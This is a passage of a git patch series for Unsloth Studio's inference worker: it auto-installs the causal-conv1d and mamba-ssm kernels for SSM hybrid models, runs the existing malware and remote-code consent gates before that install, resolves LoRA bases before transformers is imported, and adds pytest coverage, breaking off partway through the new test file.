             "config.json check: %s needs transformers %s (architectures=%s, model_type=%s)",
@@ -425,7 +516,8 @@ def _check_config_needs_550(model_name: str) -> bool:
             cfg.get("architectures", []),
             cfg.get("model_type"),
         )
-    _config_needs_550_cache[model_name] = result
+    if _config_json_is_definitive(model_name):
+        _config_needs_550_cache[model_name] = result
     return result
 
 
@@ -435,11 +527,7 @@ def _check_config_needs_510(model_name: str) -> bool:
         return _config_needs_510_cache[model_name]
 
     cfg = _load_config_json(model_name)
-    if cfg is None:
-        _config_needs_510_cache[model_name] = False
-        return False
-
-    result = _config_needs_510(cfg)
+    result = bool(cfg) and _config_needs_510(cfg)
     if result:
         logger.info(
             "config.json check: %s needs transformers %s (architectures=%s, model_type=%s)",
@@ -448,7 +536,8 @@ def _check_config_needs_510(model_name: str) -> bool:
             cfg.get("architectures", []),
             cfg.get("model_type"),
         )
-    _config_needs_510_cache[model_name] = result
+    if _config_json_is_definitive(model_name):
+        _config_needs_510_cache[model_name] = result
     return result
 
 
@@ -824,6 +913,10 @@ def ensure_transformers_version(model_name: str) -> None:
     # Resolve LoRA adapters to their base model for accurate detection.
     resolved = _resolve_base_model(model_name)
     tier = get_transformers_tier(resolved)
+    if model_name != resolved and (Path(model_name) / "config.json").is_file():
+        # Gate on a real local config.json: a checkpoint carries config the base may not
+        # surface, but path names alone must not upgrade a plain adapter.
+        tier = _higher_tier(tier, get_transformers_tier(model_name))
 
     if tier == "510":
         target_version = TRANSFORMERS_510_VERSION

From 2a05426adb891b3fa083816985a2c6aa8925b662 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 04:48:29 -0700
Subject: [PATCH 020/306] Auto-install SSM kernels (causal-conv1d, mamba-ssm)
 for inference loads (#6535)

* Auto-install SSM kernels (causal-conv1d, mamba-ssm) for inference loads

Mamba/SSM hybrids (Nemotron-H/Nano, Falcon-H1, Granite-4.0-H, ...) lazily import
mamba_ssm / causal_conv1d during from_pretrained, so loading them for chat failed
with 'mamba-ssm is required by the Mamba model but cannot be imported'. The training
worker already wheel-first installs these before a fine-tune; the inference worker
did not. Add utils/ssm_runtime.ensure_ssm_runtime and call it from the inference load
path so the same models load for inference. Training worker is untouched; a drift
test keeps the shared detection and pinned versions in lockstep.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* ssm_runtime: invalidate import caches, skip MLX, cover LoRA base

- Invalidate importlib finder caches in _is_importable and after a successful
  wheel install, so a kernel installed earlier in this same process is actually
  importable when the modeling code lazy-imports it during from_pretrained.
- Skip the SSM kernel install entirely on the MLX (Apple Silicon) load path:
  these are CUDA/ROCm Torch kernels with no MLX use and no macOS prebuilt wheel,
  so the source build would fail before the MLX backend loads the model.
- For LoRA loads, also run detection over the resolved base model, since an
  adapter id like 'me/my-lora' won't match the SSM heuristics but its SSM base
  (Nemotron-H, ...) is what needs the kernels.

Adds tests for cache invalidation and the MLX-skip / LoRA-base worker wiring.

* Tighten SSM autoinstall comments

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* ssm_runtime: verify wheel imports, HIP-aware source build, build heartbeat

Address review feedback:
- Verify a prebuilt wheel actually imports before trusting it; a CUDA/ABI-mismatched
  wheel now falls back to a source build instead of returning success and failing later
  with the cryptic lazy-import error.
- HIP-aware source build: require hipcc on ROCm, inject clang --gcc-install-dir, and use
  the 1800s timeout, mirroring the training worker (ROCm has no prebuilt wheel).
- Emit a status heartbeat every 60s during the source build so a long (ROCm) build does
  not trip the orchestrator's 300s inactivity timeout.

Tests cover the wheel-not-importable fallback and the missing-hipcc ROCm bail.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make causal-conv1d best-effort and harden the SSM source build

- causal-conv1d is a fast path: models that merely want it (Qwen3-Next, LFM2)
  fall back to torch, so a failed install must not reject an otherwise loadable
  chat model on Windows/CPU/macOS or an ABI without a wheel. Only a true SSM
  model's mamba-ssm requirement stays fatal, matching the training worker which
  treats causal-conv1d as best-effort.
- The source build is reached only when not importable, including a wheel that
  installed but failed to import; add --reinstall/--force-reinstall so it
  replaces the broken install instead of no-opping as already satisfied.
- Add --no-cache to the ROCm uv source build to avoid reusing stale artifacts
  from a partial HIP build, mirroring the training worker.

* Address review: install SSM kernels before transformers, harden import + Windows

Codex:
- Install the SSM kernels before importing transformers. run_inference_process
  imported core.inference.inference (which imports unsloth/transformers) before the
  load, and a sidecar transformers can evaluate its optional-backend gates against
  the import state; installing causal_conv1d/mamba_ssm afterwards left those gates
  unsatisfied and a Nemotron/Falcon/Granite load still failed with "mamba-ssm is
  required". The initial model's kernels are now installed in run_inference_process
  before the ML import, via a shared _ensure_ssm_kernels helper; _handle_load keeps
  calling it (idempotent) for a LoRA's base and for later in-process loads.
- _is_importable now treats any import failure as "not importable", not only
  ImportError. An ABI-incompatible native kernel (undefined symbol after a torch/CUDA
  upgrade) raises OSError/RuntimeError; letting those escape reported
  ssm_runtime_install_failed instead of falling back to reinstall/source build.
- Skip causal-conv1d on Windows (no prebuilt wheel), mirroring the training worker.
  A causal-conv1d-only model (Qwen3-Next/LFM2) no longer drops a chat load into a
  multi-minute untimed source build; it uses the torch fallback. mamba-ssm is still
  attempted for true SSM hybrids.

Tests: test_ssm_runtime.py +5 (broken-kernel exceptions read as not-importable;
causal-conv1d skipped on win32 while mamba-ssm still installs). 36 passed.

* Trim comments to be more succinct

* Run security gates before installing SSM kernels

The SSM kernel auto-install is name-based (model_is_ssm is a substring match, no
config fetch), so a model id merely containing an SSM substring triggered a
native-package install (possibly a slow source build) before the malware and
remote-code consent gates ran. Extract those gates into _run_security_gates and
call it before the kernel install in both the pre-import path of
run_inference_process and in _handle_load, so a blocked or nonexistent model is
refused before any build. The gates are metadata-only and do not import
transformers, so they are safe to run before the pre-import install.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Resolve remote LoRA bases before importing transformers

_resolve_base_model only reads a local adapter_config.json, so a remote LoRA
adapter whose own id has no SSM substring but whose base is a Nemotron/Falcon/
Granite model had its base discovered only by ModelConfig in _handle_load, after
transformers was imported and its optional-backend availability snapshotted, so
the SSM kernel install there was too late. Add _remote_lora_base, a metadata-only
adapter_config.json fetch (no huggingface_hub / transformers import), and use it
in the pre-import path so the base is gated and its kernels pre-installed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Gate only loaded roots, tier on the resolved base, read offline LoRA cache

Three follow-ups to the pre-import resolution:

- The security gate reused the SSM target list, which for a local full fine-tune
  includes the config.json-recorded base. That base is never loaded, so scanning
  it could falsely block a safe local checkpoint. Gate only the model plus a
  genuine LoRA base (matching _handle_load's mc.is_lora), separate from the
  broader SSM-install list.

- Tier activation ran on the raw adapter id, so a remote LoRA whose base needs a
  sidecar transformers version imported the default and failed. Resolve the base
  once up front and activate on it.

- _remote_lora_base bailed on offline before checking the hub cache, missing a
  cached adapter's base. Read the cached adapter_config.json when offline or when
  the fetch fails.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep the pre-import gate transformers-free; harden remote LoRA resolution

The pre-import security gate called security_load_subdirs, which imports
model_config and thus transformers, snapshotting optional-backend availability
before the SSM kernels are installed and defeating the ordering. Add
compute_subdirs to _run_security_gates and pass False in the preflight so it scans
from the root only (transformers-free); _handle_load still runs the authoritative
gate with full subdir scoping after the import.

_remote_lora_base now skips existing local relative paths (is_local_path) so a
checkpoint like outputs/run1 is never treated as a Hub repo, and distinguishes a
definitive 404 (not a LoRA -> None) from transient/offline failures (read the
cache), so a repo that is now a full model no longer resolves a stale cached base.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Probe a real model id for SSM kernels; respect HF_ENDPOINT

model_is_ssm is a substring match, so an arbitrary name could false-match and
force a mamba-ssm install that fails the load for a non-SSM model:
- a LoRA adapter id like user/falcon-h1-lora (the SSM-relevant code is the base's);
- a local checkpoint under an SSM-named parent dir, e.g. /runs/falcon-h1/llama-ckpt.

Add ssm_probe_identifier, which resolves the base (or a bare local checkpoint's
basename) and feed that to ensure_ssm_runtime from both the pre-import path and
_handle_load, so detection runs against a real model id, never an adapter id or
parent folders.

_remote_lora_base now honors HF_ENDPOINT so enterprise/mirror deployments resolve
the adapter base instead of always hitting huggingface.co.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in the pre-import SSM gate/install path

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 studio/backend/core/inference/worker.py       | 235 ++++++--
 studio/backend/tests/test_ssm_runtime.py      | 526 ++++++++++++++++++
 .../tests/test_transformers_version.py        | 118 ++++
 studio/backend/utils/ssm_runtime.py           | 327 +++++++++++
 studio/backend/utils/transformers_version.py  |  97 ++++
 5 files changed, 1250 insertions(+), 53 deletions(-)
 create mode 100644 studio/backend/tests/test_ssm_runtime.py
 create mode 100644 studio/backend/utils/ssm_runtime.py

diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index eb31ec1062..9fe499780e 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -160,6 +160,112 @@ def _resolve_lora_4bit(mc, load_in_4bit: bool) -> bool:
     return load_in_4bit
 
 
+def _ensure_ssm_kernels(targets: list, resp_queue: Any) -> bool:
+    """Install the SSM kernels the given model(s) lazy-import in from_pretrained; no-op for
+    non-SSM models, idempotent. Returns True on success; on a fatal mamba-ssm failure sends a
+    'loaded' failure response and returns False. Call BEFORE importing transformers, which
+    snapshots its optional-backend gates at import (a later install may not be picked up).
+    """
+    try:
+        from utils.ssm_runtime import ensure_ssm_runtime
+    except Exception as exc:
+        logger.debug("ssm_runtime unavailable (%s); skipping SSM kernel pre-install", exc)
+        return True
+
+    _ssm_status = lambda m: _send_response(resp_queue, {"type": "status", "message": m})
+    try:
+        for ssm_target in dict.fromkeys(t for t in targets if t):
+            ensure_ssm_runtime(ssm_target, status_cb = _ssm_status)
+        return True
+    except Exception as exc:
+        _send_response(
+            resp_queue,
+            {
+                "type": "loaded",
+                "success": False,
+                "message": (
+                    f"This model needs SSM kernel libraries (causal-conv1d / "
+                    f"mamba-ssm) that could not be installed: {exc}"
+                ),
+                "error_kind": "ssm_runtime_install_failed",
+            },
+        )
+        return False
+
+
+def _run_security_gates(
+    targets: list,
+    *,
+    trust_remote_code: bool,
+    hf_token: str | None,
+    approved_fingerprint: str | None,
+    resp_queue: Any,
+    compute_subdirs: bool = True,
+) -> bool:
+    """Malware + (when trust_remote_code) remote-code consent gates over *targets*
+    (model + base). Sends the matching 'loaded' failure and returns False if blocked; True
+    when every target is clear.
+
+    ``compute_subdirs=False`` keeps the gate transformers-free (``security_load_subdirs``
+    imports ``model_config`` -> ``transformers``, which would snapshot optional-backend
+    availability before the SSM kernels are installed): used for the pre-import preflight,
+    where ``_handle_load`` re-runs the authoritative gate with full subdir scoping.
+    """
+    targets = list(dict.fromkeys(t for t in targets if t))
+
+    # A poisoned pickle deserializes during from_pretrained even with trust_remote_code
+    # False, so check HF's security scan every load (for a LoRA, the base deserializes).
+    from utils.security import evaluate_file_security
+
+    if compute_subdirs:
+        from utils.security import security_load_subdirs
+
+    for target in targets:
+        _subdirs = security_load_subdirs(target, hf_token) if compute_subdirs else ()
+        _fs = evaluate_file_security(target, hf_token = hf_token, load_subdirs = _subdirs)
+        if _fs.blocked:
+            _send_response(
+                resp_queue,
+                {
+                    "type": "loaded",
+                    "success": False,
+                    "message": _fs.reason,
+                    "error_kind": "malware_blocked",
+                    "security": _fs.response_payload(),
+                },
+            )
+            return False
+
+    # Scan auto_map code before it runs; block CRITICAL/HIGH unless pinned-approved. Adapter
+    # and base are scanned as one unit, pinned by a single fingerprint.
+    if trust_remote_code:
+        from utils.security import evaluate_remote_code_consent_for_targets
+        _rc = evaluate_remote_code_consent_for_targets(
+            targets,
+            hf_token = hf_token,
+            trust_remote_code = True,
+            approved_fingerprint = approved_fingerprint,
+        )
+        if _rc.blocked:
+            _send_response(
+                resp_queue,
+                {
+                    "type": "loaded",
+                    "success": False,
+                    "message": (
+                        f"Model '{_rc.model_name}' ships custom code flagged as "
+                        f"{_rc.max_severity} by the security scan. Review "
+                        f"and approve it to proceed."
+                    ),
+                    "error_kind": "remote_code_blocked",
+                    "remote_code": _rc.response_payload(),
+                },
+            )
+            return False
+
+    return True
+
+
 def _handle_load(backend, config: dict, resp_queue: Any) -> None:
     """Handle a load command: load a model into the backend."""
     try:
@@ -175,61 +281,31 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                 "Auto-enabled trust_remote_code for Nemotron model: %s", config["model_name"]
             )
 
-        # Malware gate: a poisoned pickle deserializes during from_pretrained even
-        # with trust_remote_code False, so check HF's security scan (metadata-only)
-        # every load. For a LoRA, gate the base whose weights deserialize.
-        from utils.security import evaluate_file_security, security_load_subdirs
-
-        malware_targets = [config["model_name"]]
+        # Authoritative gates over the model + the LoRA base resolved via mc. Must run before
+        # the SSM install so a blocked model never triggers a native kernel build.
+        targets = [config["model_name"]]
         if mc.is_lora and getattr(mc, "base_model", None):
-            malware_targets.append(str(mc.base_model))
-        for target in dict.fromkeys(malware_targets):
-            _fs = evaluate_file_security(
-                target, hf_token = hf_token, load_subdirs = security_load_subdirs(target, hf_token)
-            )
-            if _fs.blocked:
-                _send_response(
-                    resp_queue,
-                    {
-                        "type": "loaded",
-                        "success": False,
-                        "message": _fs.reason,
-                        "error_kind": "malware_blocked",
-                        "security": _fs.response_payload(),
-                    },
-                )
-                return
+            targets.append(str(mc.base_model))
+        if not _run_security_gates(
+            targets,
+            trust_remote_code = trust_remote_code,
+            hf_token = hf_token,
+            approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+            resp_queue = resp_queue,
+        ):
+            return
 
-        # Consent gate: scan auto_map code before it runs; block CRITICAL/HIGH
-        # unless pinned-approved. For a LoRA, gate the base whose code runs.
-        if trust_remote_code:
-            from utils.security import evaluate_remote_code_consent_for_targets
+        # Install SSM/Mamba kernels: a no-op for the initial load (pre-installed before import)
+        # but still needed for a LoRA's base (resolved only now via mc) and in-process loads.
+        # Skip on MLX (no macOS wheel). Probe the base, not the adapter id / local path.
+        if getattr(backend, "device", None) != "mlx":
+            from utils.ssm_runtime import ssm_probe_identifier
 
-            consent_targets = [config["model_name"]]
-            if mc.is_lora and getattr(mc, "base_model", None):
-                consent_targets.append(str(mc.base_model))
-            # Scan adapter + base as one unit, pinned by a single fingerprint.
-            _rc = evaluate_remote_code_consent_for_targets(
-                consent_targets,
-                hf_token = hf_token,
-                trust_remote_code = True,
-                approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+            _ssm_base = (
+                str(mc.base_model) if (mc.is_lora and getattr(mc, "base_model", None)) else None
             )
-            if _rc.blocked:
-                _send_response(
-                    resp_queue,
-                    {
-                        "type": "loaded",
-                        "success": False,
-                        "message": (
-                            f"Model '{_rc.model_name}' ships custom code flagged as "
-                            f"{_rc.max_severity} by the security scan. Review "
-                            f"and approve it to proceed."
-                        ),
-                        "error_kind": "remote_code_blocked",
-                        "remote_code": _rc.response_payload(),
-                    },
-                )
+            ssm_targets = [ssm_probe_identifier(config["model_name"], _ssm_base)]
+            if not _ensure_ssm_kernels(ssm_targets, resp_queue):
                 return
 
         # Heartbeat keeps the orchestrator's inactivity deadline alive during slow
@@ -678,9 +754,33 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 )
         return
 
-    # ── 1. Activate transformers version BEFORE any ML imports ──
+    # ── Resolve the effective base once, before activation/gates/install (no ML import) ──
+    # A remote LoRA's base is in its Hub adapter_config.json (else surfaced only by ModelConfig
+    # after import). _lora_base is set only for a genuine adapter, never a full fine-tune's base.
+    import json as _json
+
+    _ensure_backend_on_path()
+    from utils.transformers_version import _remote_lora_base, _resolve_base_model
+
+    _hf_token = _clean_token(config.get("hf_token"))
+    _lora_base = None
+    _local_adapter_cfg = Path(model_name) / "adapter_config.json"
+    if _local_adapter_cfg.is_file():
+        try:
+            _lora_base = (
+                _json.loads(_local_adapter_cfg.read_text()).get("base_model_name_or_path") or None
+            )
+        except Exception:
+            _lora_base = None
+    if not _lora_base:
+        _lora_base = _remote_lora_base(model_name, hf_token = _hf_token)
+    # Base for tier activation + the SSM-kernel heuristic: the LoRA base if any, else a full
+    # fine-tune's recorded base from config.json (its name reveals the SSM/sidecar arch).
+    _base = _lora_base or _resolve_base_model(model_name)
+
+    # ── 1. Activate transformers version (on the resolved base) BEFORE any ML imports ──
     try:
-        _activate_transformers_version(model_name)
+        _activate_transformers_version(_base)
     except Exception as exc:
         _send_response(
             resp_queue,
@@ -704,6 +804,35 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 'Install for better performance: pip install "triton-windows<3.7"'
             )
 
+    # ── 1c. Security gates, then SSM/Mamba kernels, BEFORE importing transformers ──
+    # transformers snapshots its optional-backend gates at import, so a hybrid model's kernels
+    # must be installed before the import below ("mamba-ssm is required" otherwise). The gates
+    # are metadata-only, so run them first and refuse a blocked model before any native build.
+    # Gate only the model + a genuine LoRA base (matching _handle_load), never a full fine-tune's
+    # unloaded base; _handle_load re-runs the authoritative gates with the mc base.
+    _gate_targets = [model_name]
+    if _lora_base:
+        _gate_targets.append(_lora_base)
+    _trust_remote_code = config.get("trust_remote_code", False) or _needs_nemotron_trust(
+        model_name, hf_token = _hf_token
+    )
+    if not _run_security_gates(
+        _gate_targets,
+        trust_remote_code = _trust_remote_code,
+        hf_token = _hf_token,
+        approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+        resp_queue = resp_queue,
+        compute_subdirs = False,  # stay transformers-free until the SSM kernels are installed
+    ):
+        return
+    # Probe the resolved base for SSM kernels, not the adapter id / local checkpoint path
+    # (arbitrary names must not match the SSM substrings).
+    from utils.ssm_runtime import ssm_probe_identifier
+
+    _ssm_targets = [ssm_probe_identifier(model_name, _base)]
+    if not _ensure_ssm_kernels(_ssm_targets, resp_queue):
+        return
+
     # ── 2. Import ML libraries (fresh in this clean process) ──
     try:
         _send_response(
diff --git a/studio/backend/tests/test_ssm_runtime.py b/studio/backend/tests/test_ssm_runtime.py
new file mode 100644
index 0000000000..dbf482c8bc
--- /dev/null
+++ b/studio/backend/tests/test_ssm_runtime.py
@@ -0,0 +1,526 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for utils.ssm_runtime: the inference-side auto-install of SSM/Mamba kernels.
+
+Covers detection, wheel-first install, idempotency, the failure path, the inference
+worker wiring, and a drift guard so the constants/detection stay in lockstep with the
+training worker (the original source of this behaviour).
+"""
+
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from utils import ssm_runtime  # noqa: E402
+
+
+class _Result:
+    def __init__(
+        self,
+        returncode = 0,
+        stdout = "",
+    ):
+        self.returncode = returncode
+        self.stdout = stdout
+
+
+# ── detection ────────────────────────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "name",
+    [
+        "unsloth/NVIDIA-Nemotron-3-Nano-4B",
+        "unsloth/Nemotron-3-Nano-30B-A3B",
+        "nvidia/Nemotron-H-8B",
+        "tiiuae/Falcon-H1-0.5B-Instruct",
+        "ibm-granite/granite-4.0-h-micro",
+        "ibm/granitemoehybrid-test",
+    ],
+)
+def test_ssm_models_detected(name):
+    assert ssm_runtime.model_is_ssm(name) is True
+    # every SSM model also needs causal-conv1d
+    assert ssm_runtime.model_wants_causal_conv1d(name) is True
+
+
+@pytest.mark.parametrize(
+    "name",
+    [
+        "Qwen/Qwen3-Next-80B-A3B",
+        "unsloth/Qwen3.5-2B",
+        "LiquidAI/LFM2-1.2B",
+    ],
+)
+def test_causal_conv1d_only_models(name):
+    # linear-attention hybrids need causal-conv1d but not mamba-ssm
+    assert ssm_runtime.model_wants_causal_conv1d(name) is True
+    assert ssm_runtime.model_is_ssm(name) is False
+
+
+@pytest.mark.parametrize(
+    "name",
+    [
+        "unsloth/Llama-3.2-1B-Instruct",
+        "unsloth/Qwen2.5-7B",
+        "unsloth/gemma-3-4b-it",
+        "",
+        None,
+    ],
+)
+def test_non_ssm_models_not_detected(name):
+    assert ssm_runtime.model_is_ssm(name) is False
+    assert ssm_runtime.model_wants_causal_conv1d(name) is False
+
+
+# ── ssm_probe_identifier: match a real model id, never an arbitrary name ───────
+
+
+def test_probe_lora_uses_base_not_adapter_name():
+    # A plain-Llama LoRA whose adapter id contains an SSM substring is not SSM.
+    probe = ssm_runtime.ssm_probe_identifier("user/falcon-h1-lora", "meta-llama/Llama-3-8B")
+    assert probe == "meta-llama/Llama-3-8B"
+    assert ssm_runtime.model_is_ssm(probe) is False
+
+
+def test_probe_lora_on_ssm_base_detected():
+    probe = ssm_runtime.ssm_probe_identifier("user/my-adapter", "nvidia/Nemotron-H-8B")
+    assert ssm_runtime.model_is_ssm(probe) is True
+
+
+def test_probe_plain_hf_id_unchanged():
+    assert ssm_runtime.ssm_probe_identifier("nvidia/Nemotron-H-8B") == "nvidia/Nemotron-H-8B"
+
+
+def test_probe_local_path_uses_basename(tmp_path):
+    # Parent folders are arbitrary: a Llama checkpoint under a falcon-h1 dir is not SSM.
+    d = tmp_path / "falcon-h1-experiment" / "llama-checkpoint"
+    d.mkdir(parents = True)
+    probe = ssm_runtime.ssm_probe_identifier(str(d))
+    assert probe == "llama-checkpoint"
+    assert ssm_runtime.model_is_ssm(probe) is False
+
+
+def test_probe_local_ssm_checkpoint_basename_detected(tmp_path):
+    d = tmp_path / "runs" / "nemotron-h-finetune"
+    d.mkdir(parents = True)
+    assert ssm_runtime.model_is_ssm(ssm_runtime.ssm_probe_identifier(str(d))) is True
+
+
+# ── ensure_ssm_runtime behaviour ─────────────────────────────────────────────
+
+
+def test_noop_for_non_ssm_model(monkeypatch):
+    calls = []
+    monkeypatch.setattr(ssm_runtime, "_install_kernel", lambda **k: calls.append(k) or True)
+    ssm_runtime.ensure_ssm_runtime("unsloth/Llama-3.2-1B-Instruct", run = lambda *a, **k: _Result())
+    assert calls == []  # nothing installed for a plain transformer
+
+
+def test_ssm_model_installs_causal_then_mamba(monkeypatch):
+    order = []
+
+    def fake_install(*, import_name, **_):
+        order.append(import_name)
+        return True
+
+    monkeypatch.setattr(ssm_runtime, "_install_kernel", fake_install)
+    ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B")
+    assert order == ["causal_conv1d", "mamba_ssm"]
+
+
+def test_causal_only_model_skips_mamba(monkeypatch):
+    order = []
+    monkeypatch.setattr(
+        ssm_runtime,
+        "_install_kernel",
+        lambda *, import_name, **_: order.append(import_name) or True,
+    )
+    ssm_runtime.ensure_ssm_runtime("Qwen/Qwen3-Next-80B-A3B")
+    assert order == ["causal_conv1d"]
+
+
+def test_failure_raises_runtime_error(monkeypatch):
+    # A true SSM model whose mamba-ssm cannot install is fatal (cryptic mid-load import
+    # otherwise). "Nemotron-3-Nano-30B-A3B" matches the SSM substrings.
+    monkeypatch.setattr(ssm_runtime, "_install_kernel", lambda **k: False)
+    with pytest.raises(RuntimeError):
+        ssm_runtime.ensure_ssm_runtime("unsloth/Nemotron-3-Nano-30B-A3B")
+
+
+def test_causal_only_install_failure_is_not_fatal(monkeypatch):
+    # Qwen3-Next/LFM2 want causal-conv1d but fall back to torch; a failed install must
+    # not block the load (best-effort, mirrors training).
+    monkeypatch.setattr(ssm_runtime, "_install_kernel", lambda **k: False)
+    ssm_runtime.ensure_ssm_runtime("Qwen/Qwen3-Next-80B-A3B")  # no raise
+
+
+def test_ssm_causal_failure_nonfatal_when_mamba_ok(monkeypatch):
+    # causal-conv1d is best-effort even for a true SSM model; only mamba-ssm is fatal.
+    monkeypatch.setattr(
+        ssm_runtime, "_install_kernel", lambda *, import_name, **_: import_name == "mamba_ssm"
+    )
+    ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B")  # no raise
+
+
+def test_install_kernel_idempotent_when_present(monkeypatch):
+    monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: True)
+    called = []
+    monkeypatch.setattr(ssm_runtime, "url_exists", lambda u: called.append("url") or True)
+    ok = ssm_runtime._install_kernel(
+        import_name = "mamba_ssm",
+        display_name = "mamba-ssm",
+        pypi_name = "mamba-ssm",
+        package_version = "2.3.1",
+        release_tag = "v2.3.1",
+        release_base_url = "x",
+        status_cb = None,
+        run = lambda *a, **k: _Result(),
+    )
+    assert ok is True
+    assert called == []  # short-circuits before touching the network
+
+
+def test_install_kernel_uses_prebuilt_wheel(monkeypatch):
+    # not importable before install, importable after the wheel lands
+    states = iter([False, True])
+    monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states))
+    monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {"x": "y"})
+    seen = {}
+    monkeypatch.setattr(
+        ssm_runtime,
+        "direct_wheel_url",
+        lambda **k: seen.update(k) or "https://example/mamba_ssm-2.3.1-cp313.whl",
+    )
+    monkeypatch.setattr(ssm_runtime, "url_exists", lambda u: True)
+    installed = {}
+
+    def fake_install_wheel(url, **k):
+        installed["url"] = url
+        return [("uv", _Result(returncode = 0))]
+
+    monkeypatch.setattr(ssm_runtime, "install_wheel", fake_install_wheel)
+    ran = []
+    ok = ssm_runtime._install_kernel(
+        import_name = "mamba_ssm",
+        display_name = "mamba-ssm",
+        pypi_name = "mamba-ssm",
+        package_version = "2.3.1",
+        release_tag = "v2.3.1",
+        release_base_url = "https://github.com/state-spaces/mamba/releases/download",
+        status_cb = None,
+        run = lambda *a, **k: ran.append(a) or _Result(),
+    )
+    assert ok is True
+    assert installed["url"].endswith(".whl")
+    assert seen["filename_prefix"] == "mamba_ssm"
+    assert ran == []  # wheel succeeded; no PyPI source build
+
+
+def test_install_kernel_falls_back_to_source(monkeypatch):
+    # no wheel -> source build -> importable after install
+    states = iter([False, True])  # before install, after install
+    monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states))
+    monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {})
+    monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: None)
+    pip_cmds = []
+    ok = ssm_runtime._install_kernel(
+        import_name = "causal_conv1d",
+        display_name = "causal-conv1d",
+        pypi_name = "causal-conv1d",
+        package_version = "1.6.1",
+        release_tag = "v1.6.1.post4",
+        release_base_url = "x",
+        status_cb = None,
+        run = lambda cmd, **k: pip_cmds.append(cmd) or _Result(returncode = 0),
+    )
+    assert ok is True
+    assert any("causal-conv1d==1.6.1" in c for c in pip_cmds[0])
+
+
+# ── import-cache invalidation (so a just-installed kernel is importable) ───────
+
+
+def test_is_importable_invalidates_caches(monkeypatch):
+    calls = []
+    monkeypatch.setattr(ssm_runtime.importlib, "invalidate_caches", lambda: calls.append(1))
+    assert ssm_runtime._is_importable("sys") is True
+    assert calls  # caches invalidated before attempting the import
+
+
+@pytest.mark.parametrize(
+    "exc",
+    [
+        ImportError("no module"),
+        OSError("undefined symbol: cuLaunchKernel"),
+        RuntimeError("CUDA error: ABI mismatch"),
+    ],
+)
+def test_is_importable_treats_broken_kernel_as_not_importable(monkeypatch, exc):
+    # ABI-incompatible kernels raise OSError/RuntimeError, not ImportError; all must read as
+    # not-importable. _is_importable calls bare __import__(), so patching ssm_runtime.__import__
+    # (resolved via module globals) leaves real `import` statements untouched.
+    def _raise(name):
+        raise exc
+
+    monkeypatch.setattr(ssm_runtime, "__import__", _raise, raising = False)
+    monkeypatch.setattr(ssm_runtime.importlib, "invalidate_caches", lambda: None)
+    assert ssm_runtime._is_importable("causal_conv1d") is False
+
+
+def test_causal_conv1d_skipped_on_windows(monkeypatch):
+    # No prebuilt Windows wheel: a causal-conv1d-only model must NOT enter the source build
+    # (which can hang a chat load for minutes); it falls back to torch.
+    monkeypatch.setattr(ssm_runtime.sys, "platform", "win32")
+    installed = []
+    monkeypatch.setattr(
+        ssm_runtime,
+        "_install_kernel",
+        lambda *, import_name, **_: installed.append(import_name) or True,
+    )
+    ssm_runtime.ensure_ssm_runtime("Qwen/Qwen3-Next-80B-A3B")
+    assert installed == []  # never attempted to build causal-conv1d
+
+
+def test_ssm_model_on_windows_still_installs_mamba(monkeypatch):
+    # A true SSM hybrid still needs mamba-ssm on Windows; only causal-conv1d is skipped.
+    monkeypatch.setattr(ssm_runtime.sys, "platform", "win32")
+    installed = []
+    monkeypatch.setattr(
+        ssm_runtime,
+        "_install_kernel",
+        lambda *, import_name, **_: installed.append(import_name) or True,
+    )
+    ssm_runtime.ensure_ssm_runtime("unsloth/NVIDIA-Nemotron-3-Nano-4B")
+    assert installed == ["mamba_ssm"]  # causal-conv1d skipped, mamba-ssm still attempted
+
+
+def test_wheel_installed_but_not_importable_falls_back_to_source(monkeypatch):
+    # top: not importable; after wheel: still not importable (ABI mismatch) -> source build;
+    # after source build: importable.
+    states = iter([False, False, True])
+    monkeypatch.setattr(ssm_runtime, "_is_importable", lambda name: next(states))
+    monkeypatch.setattr(ssm_runtime, "probe_torch_wheel_env", lambda timeout = 30: {})
+    monkeypatch.setattr(ssm_runtime, "direct_wheel_url", lambda **k: "https://x/w.whl")
+    monkeypatch.setattr(ssm_runtime, "url_exists", lambda u: True)
